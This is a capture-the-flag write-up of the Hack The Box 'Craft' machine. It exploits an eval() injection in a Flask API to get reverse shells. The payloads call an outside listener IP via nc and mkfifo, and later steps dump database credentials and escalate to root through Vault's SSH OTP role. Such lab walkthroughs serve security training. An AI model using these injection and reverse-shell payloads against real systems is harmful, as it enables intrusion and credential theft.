Ech0 - 29 / 04 / 2020

Craft Writeup

Introduction :



Craft is a Medium linux box released back in July 2019.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


  [ 10.10.14.10/23 ] [ /dev/pts/3 ] [~]
  → sudo nmap -vvv -sTU -p- 10.10.10.110 --max-retries 0 -Pn --min-rate=200 | grep Discovered
  Discovered open port 443/tcp on 10.10.10.110
  Discovered open port 22/tcp on 10.10.10.110

  [ 10.10.14.10/23 ] [ /dev/pts/3 ] [~]
  → nmap -sCV -p443,22 10.10.10.110
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 10:07 BST
  Nmap scan report for 10.10.10.110
  Host is up (0.12s latency).

  PORT    STATE SERVICE  VERSION
  22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
  | ssh-hostkey:
  |   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
  |   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
  |_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
  443/tcp open  ssl/http nginx 1.15.8
  |_http-server-header: nginx/1.15.8
  |_http-title: About
  | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
  | Not valid before: 2019-02-06T02:25:47
  |_Not valid after:  2020-06-20T02:25:47
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn:
  |_  http/1.1
  | tls-nextprotoneg:
  |_  http/1.1
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 24.70 seconds

  [ 10.10.14.10/23 ] [ /dev/pts/5 ] [~]
  → sudo su
  [sudo] password for nothing:

  [ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing]
  → whoami
  root

  [ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing]
  → echo '10.10.10.110 craft.htb' >> /etc/hosts

Part 2 : Getting User Access



Our nmap scan picked up port 443 so let's investigate it:

The webpage hints us towards a public rest API:

Said public rest API is a subdomain of craft.htb which is api.craft.htb so we need to add it to our hosts file as well as the gogs subdomain:



[ 192.168.0.32/24 ] [ /dev/pts/2 ] [~]
→ sudo nano /etc/hosts
[sudo] password for nothing:

[ 192.168.0.32/24 ] [ /dev/pts/2 ] [~]
→ cat /etc/hosts | grep craft
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb

the gogs subdomain contains the sourcecode while the api subdomain contains operations which can be performed to interact with the REST API that is present on the machine.


  curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'


  dinesh:4aUh0A8PbVJxgd

Now that we have his credentials, we can exploit the eval() function we found earlier using denish's curl command in order to make an injection with a POST request to /api/brew/ To do so we could use maggick's python script that i modified to work under python3 :


  #!/usr/bin/env python

  import requests
  import json
  import urllib3

  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

  response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
  json_response = json.loads(response.text)
  token =  json_response['token']

  headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

  response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
  print(response.text)

  print("Create bogus ABV brew")
  brew_dict = {}
  brew_dict['abv'] = '__import__(\'os\').popen(\'nc 10.10.14.11 9001 -e /bin/sh\').read()'
  brew_dict['name'] = 'bullshit'
  brew_dict['brewer'] = 'bullshit'
  brew_dict['style'] = 'bullshit'

  json_data = json.dumps(brew_dict)
  print(json_data)
  response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
  print(response.text)

Running it we get a reverse shell as root inside a jail, which obviously won't get us the root flag,

Another way of getting in is by using 0xdf's bash commands which are directly using the curl commands to directly spawn us a shell:


  TOKEN=$(curl -s -k -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H  "accept: application/json" | jq -r '.token'); \
  curl -X POST "https://api.craft.htb/api/brew/" -H  "accept: application/json" -H  "Content-Type: application/json" -d "{
  \"id\": 0,
  \"brewer\": \"0xdf\",
  \"name\": \"beer\",
  \"style\": \"bad\",
  \"abv\": \"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f')\"}" -k -H "X-CRAFT-API-TOKEN: $TOKEN"

  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~]
  → nc -lvnp 9001
  listening on [any] 9001 ...
  connect to [10.10.14.11] from (UNKNOWN) [10.10.10.110] 34287
  /bin/sh: can't access tty; job control turned off
  /opt/app # id
  uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Before we do anything, let's upgrade our shell to a full tty shell:


  /opt/app # python -c 'import pty; pty.spawn("/bin/sh")'
  /opt/app # ^Z
  [1]+  Stopped                 nc -lvnp 9001

  [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~]
  → stty raw -echo

  [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~]
  → nc -lvnp 9001
                 reset
  /opt/app # export SHELL=bash
  /opt/app # export TERM=xterm-256color
  /opt/app # l
  ld        ldd       linux32   loadfont  login     ls        lspci     lzma
  ld.bfd    less      linux64   loadkmap  logread   lsmod     lsusb     lzop
  ldconfig  link      ln        logger    losetup   lsof      lzcat     lzopcat
  /opt/app # ls

What we did here was :


-Spawn a /bin/sh tty shell using python's pty library
-Backgrounded our shell (CTRL+Z)
-Typed "stty raw -echo" and then fg
-Resetted the terminal by typing "reset"
-Exported our SHELL and TERM variables

Which gave us tab completion which is preety neat to continue, especially to edit files with vim as you'll see later:


  /opt/app # uname -a
  uname -a
  Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux


  /opt/app # cat /proc/self/cgroup
  cat /proc/self/cgroup
  10:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  9:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  6:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  5:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  4:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  3:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  2:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
  1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c

Running uname -a and cat /proc/self/cgroup shows us that we are in a docker container, so after poking around that jail we look into the settings.py file that contains the database credentials:


  /opt/app # ps auxw
  PID   USER     TIME  COMMAND
      1 root      0:02 python ./app.py
     65 root      0:00 /bin/sh
     67 root      0:00 python -c import pty; pty.spawn("/bin/sh")
     68 root      0:00 /bin/sh
     95 root      0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f
     98 root      0:00 cat /tmp/f
     99 root      0:00 /bin/sh -i
    100 root      0:00 nc 10.10.14.11 9001
    102 root      0:00 ps auxw

Running ps auxw we can see that there aren't many processes active, it seems like there's only our python shell that's active right now.



  /opt/app # ls -lash
  ls -lash
  total 32
       4 drwxr-xr-x    5 root     root        4.0K Feb 10  2019 .
       4 drwxr-xr-x    1 root     root        4.0K Feb  9  2019 ..
       4 drwxr-xr-x    8 root     root        4.0K Feb  8  2019 .git
       4 -rw-r--r--    1 root     root          18 Feb  7  2019 .gitignore
       4 -rw-r--r--    1 root     root        1.5K Feb  7  2019 app.py
       4 drwxr-xr-x    5 root     root        4.0K Feb  7  2019 craft_api
       4 -rwxr-xr-x    1 root     root         673 Feb  8  2019 dbtest.py
       4 drwxr-xr-x    2 root     root        4.0K Feb  7  2019 tests
  /opt/app # cd craft_api
  cd craft_api
  /opt/app/craft_api # ls
  ls
  __init__.py  __pycache__  api          database     settings.py
  /opt/app/craft_api # cat settings.py
  cat settings.py
  # Flask settings
  FLASK_SERVER_NAME = 'api.craft.htb'
  FLASK_DEBUG = False  # Do not use debug mode in production

  # Flask-Restplus settings
  RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
  RESTPLUS_VALIDATE = True
  RESTPLUS_MASK_SWAGGER = False
  RESTPLUS_ERROR_404_HELP = False
  CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

  # database
  MYSQL_DATABASE_USER = 'craft'
  MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
  MYSQL_DATABASE_DB = 'craft'
  MYSQL_DATABASE_HOST = 'db'
  SQLALCHEMY_TRACK_MODIFICATIONS = False

The application uses SQLAlchemy to interact with the mysql database, and we find an example of code in dbtest.py and models.py:



  /opt/app/craft_api # cd ..
  cd ..
  /opt/app # cat dbtest.py
  cat dbtest.py
  #!/usr/bin/env python

  import pymysql
  from craft_api import settings

  # test connection to mysql database

  connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                               user=settings.MYSQL_DATABASE_USER,
                               password=settings.MYSQL_DATABASE_PASSWORD,
                               db=settings.MYSQL_DATABASE_DB,
                               cursorclass=pymysql.cursors.DictCursor)

  try:
      with connection.cursor() as cursor:
          sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
          cursor.execute(sql)
          result = cursor.fetchone()
          print(result)

  finally:
      connection.close()

  /opt/app # ls
  ls
  app.py     craft_api  dbtest.py  tests
  /opt/app # cd craft_api
  cd craft_api
  /opt/app/craft_api # ls
  ls
  __init__.py  __pycache__  api          database     settings.py
  /opt/app/craft_api # cd database
  cd database
  /opt/app/craft_api/database # ls
  ls
  __init__.py  __pycache__  models.py
  /opt/app/craft_api/database # cat models.py
  cat models.py
  # The examples in this file come from the Flask-SQLAlchemy documentation
  # For more information take a look at:
  # http://flask-sqlalchemy.pocoo.org/2.1/quickstart/#simple-relationships

  from datetime import datetime
  from craft_api.database import db


  class Brew(db.Model):
      id = db.Column(db.Integer, primary_key=True)
      brewer = db.Column(db.String(80))
      name = db.Column(db.Text)
      style = db.Column(db.Text)
      abv = db.Column(db.Numeric)


      def __init__(self, brewer, name, style, abv):
          self.brewer = brewer
          self.name = name
          self.style = style
          self.abv = abv

      def __repr__(self):
          return '' % self.name

  class User(db.Model):
      id = db.Column(db.Integer, primary_key=True)
      username = db.Column(db.String(45))
      password = db.Column(db.String(80))

      def __init__(self, username, password):
          self.username = username
          self.password = password

so from here the goal is to modify the SQL query of dbtest.py in order to fetch all the content of the user table:

Now you see why it was important for us to spawn a full tty shell with tab completion, because we need to edit this file with vim and without a fully interactive shell this is next to impossible, and you'd need to edit it on your machine, and then send it over to the machine, so continuing we can use this pythonscript to execute any sql command we want, and most particularly listing the contents of the craft database which contains the user table:



  /opt/app # python dbtest.py 'SELECT user()'
  [{'user()': 'craft@172.20.0.6'}]



  /opt/app # python dbtest.py  "SELECT schema_name FROM information_schema.schemata;"
  [{'SCHEMA_NAME': 'information_schema'}, {'SCHEMA_NAME': 'craft'}

So here we see that we have 2 databases, information_schema and craft :



  /opt/app # python dbtest.py  "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
  [{'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'brew'}, {'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'user'}]

The interesting table here is the user table, so let's enumerate it :



  /opt/app # python dbtest.py  "SELECT * from user"
  [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

And we have credentials, the important credentials here are gilfoyle's credentials which we can use to login in gogs to reveal a private repository:



  [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
  → nano id_rsa_gilfoyle

  [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
  → chmod 600 id_rsa_gilfoyle

  [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft]
  → ssh -i id_rsa_gilfoyle gilfoyle@craft.htb


    .   *   ..  . *  *
  *  * @()Ooc()*   o  .
      (Q@*0CG*O()  ___
     |\_________/|/ _ \
     |  |  |  |  | / | |
     |  |  |  |  | | | |
     |  |  |  |  | | | |
     |  |  |  |  | | | |
     |  |  |  |  | | | |
     |  |  |  |  | \_| |
     |  |  |  |  |\___/
     |\_|__|__|_/|
      \_________/



  Enter passphrase for key 'id_rsa_gilfoyle':
  Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

  The programs included with the Debian GNU/Linux system are free software;
  the exact distribution terms for each program are described in the
  individual files in /usr/share/doc/*/copyright.

  Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  permitted by applicable law.
  gilfoyle@craft:~$ id
  uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
  gilfoyle@craft:~$ cat user.txt
  bbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the user flag.

Part 3 : Getting Root Access



the text goes here



  gilfoyle@craft:~$ env
  SSH_CONNECTION=10.10.14.11 33304 10.10.10.110 22
  LANG=en_US.UTF-8
  XDG_SESSION_ID=217
  USER=gilfoyle
  PWD=/home/gilfoyle
  HOME=/home/gilfoyle
  SSH_CLIENT=10.10.14.11 33304 22
  SSH_TTY=/dev/pts/0
  MAIL=/var/mail/gilfoyle
  TERM=screen-256color
  SHELL=/bin/bash
  VAULT_ADDR=https://vault.craft.htb:8200/
  SHLVL=1
  LOGNAME=gilfoyle
  XDG_RUNTIME_DIR=/run/user/1001
  PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
  _=/usr/bin/env

  gilfoyle@craft:~$ ls -lash
  total 36K
  4.0K drwx------ 4 gilfoyle gilfoyle 4.0K Feb  9  2019 .
  4.0K drwxr-xr-x 3 root     root     4.0K Feb  9  2019 ..
  4.0K -rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
  4.0K drwx------ 3 gilfoyle gilfoyle 4.0K Feb  9  2019 .config
  4.0K -rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
  4.0K drwx------ 2 gilfoyle gilfoyle 4.0K Feb  9  2019 .ssh
  4.0K -r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
  4.0K -rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
  4.0K -rw------- 1 gilfoyle gilfoyle 2.5K Feb  9  2019 .viminfo

  gilfoyle@craft:~$ cat .vault-token
  f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

Here we are hinted towards a vault binary, which we can check that it is there on this machine:


  gilfoyle@craft:~$ which vault
  /usr/local/bin/vault

Vault is suppposed to "Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API"

Looking back at the private repository, there is also an other interesting file: docker-compose.yml


  version: '3'
  services:
    db:
      image: mysql
      expose:
        - "3306"
      volumes:
        - /opt/storage/mysql:/var/lib/mysql
    repo:
      image: gogs/gogs
      expose:
        - "6022"
        - "3000"
      ports:
        - 6022:6022
      volumes:
        - /opt/storage/gogs:/data
    home:
      image: craft-flask:master
      volumes:
        - /opt/storage/craft-home/:/opt/app
      expose:
        - "8888"
      command: [python, ./app.py]
    api:
      image: craft-flask:master
      volumes:
        - /opt/storage/craft-api/:/opt/app
      expose:
        - "8888"
      command: [python, ./app.py]
    proxy:
      image: nginx:latest
      volumes:
        - /opt/storage/nginx/conf/nginx.conf:/etc/nginx/nginx.conf
        - /opt/storage/nginx/pki/:/etc/nginx/pki/
      ports:
        - 80:80
        - 443:443
    vault:
      image: craft-vault:master
      volumes:
        - /opt/storage/vault/config:/vault/config
        - /opt/storage/vault/pki:/vault/pki
        - /opt/storage/vault/log:/vault/logs
        - /opt/storage/vault/data:/vault/data
      expose:
        - "8200"
      entrypoint: vault server -config /vault/config/config.hcl
      privileged: true

This tells us how the http traffic is routed, the sql config gives us info as to how the database is initialised, which may come in handy later on. The interesting part is said vault and it's config, which has another file related to it:

Enumerating it further:

Looks like a rabbit hole, so the idea here is to use the secret sh script that we found earlier:


gilfoyle@craft:~$ vault read ssh/roles/root_otp
Key                  Value
---                  -----
allowed_users        n/a
cidr_list            0.0.0.0/0
default_user         root
exclude_cidr_list    n/a
key_type             otp
port                 22

The important thing here is that it hints us towards a ssh connection into said vault, as the root user, using the otp mode, so we do so:


  gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1
  Vault could not locate "sshpass". The OTP code for the session is displayed
  below. Enter this code in the SSH password prompt. If you install sshpass,
  Vault can automatically perform this step for you.
  OTP for the session is: 22922797-90f8-8d0f-9414-7f413458f6e4


    .   *   ..  . *  *
  *  * @()Ooc()*   o  .
      (Q@*0CG*O()  ___
     |\_________/|/ _ \
     |  |  |  |  | / | |
     |  |  |  |  | | | |
     |  |  |  |  | | | |
     |  |  |  |  | | | |
     |  |  |  |  | | | |
     |  |  |  |  | \_| |
     |  |  |  |  |\___/
     |\_|__|__|_/|
      \_________/



  Password:

That's preety neat, it gives us the root password for vault because it couldn't locate sshpass.


  Password:
  Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

  The programs included with the Debian GNU/Linux system are free software;
  the exact distribution terms for each program are described in the
  individual files in /usr/share/doc/*/copyright.

  Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  permitted by applicable law.
  Last login: Tue Aug 27 04:53:14 2019
  root@craft:~# id
  uid=0(root) gid=0(root) groups=0(root)
  root@craft:~# cat /root/root.txt
  83XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the root flag.

Conclusion



Here we can see the progress graph :

My Bunker

Some Address 67120,
Duttlenheim, France.

About Ech0

This cute theme was created to showcase your work in a simple way. Use it wisely.